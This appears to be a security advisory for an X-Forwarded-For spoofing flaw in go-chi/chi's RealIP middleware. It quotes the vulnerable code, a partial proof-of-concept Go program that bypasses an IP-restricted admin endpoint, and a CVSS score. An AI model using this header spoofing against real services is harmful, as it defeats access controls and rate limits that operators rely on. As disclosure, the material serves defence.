The RealIP middleware in go-chi/chi is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the X-Forwarded-For HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.
In middleware/realip.go, the realIP function parses the X-Forwarded-For header and extracts the first comma-separated value:
func realIP(r *http.Request) string {
// ...
} else if xff := r.Header.Get(xForwardedFor); xff != "" {
ip, _, _ = strings.Cut(xff, ",")
}
// ...
}
Standard practice for X-Forwarded-For is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like X-Forwarded-For: <spoofed_ip>, <actual_proxy_ip>, and go-chi/chi will treat <spoofed_ip> as the source of the request.
The following code demonstrates how an attacker can bypass an IP-based restriction.
package main
import (
"fmt"
"net/http"
"net/http/httptest"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
func main() {
r := chi.NewRouter()
// Enable the vulnerable RealIP middleware
r.Use(middleware.RealIP)
// An endpoint that should be restricted to a specific administrator IP (1.2.3.4)
r.Get("/admin/secret", func(w http.ResponseWriter, r *http.Request) {
clientIP := r.RemoteAddr
fmt.Printf("[Server] Request received from IP: %s\n", clientIP)
// Simulate IP-based access control
if clientIP == "1.2.3.4" {
w.WriteHeader(http.StatusOK)
w.Write([]byte("CONFIDENTIAL: The secret code is 42\n"))
} else {...
5.3.0Exploitability
AV:NAC:LAT:NPR:NUI:NVulnerable System
VC:LVI:LVA:NSubsequent System
SC:NSI:NSA:N6.9/CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N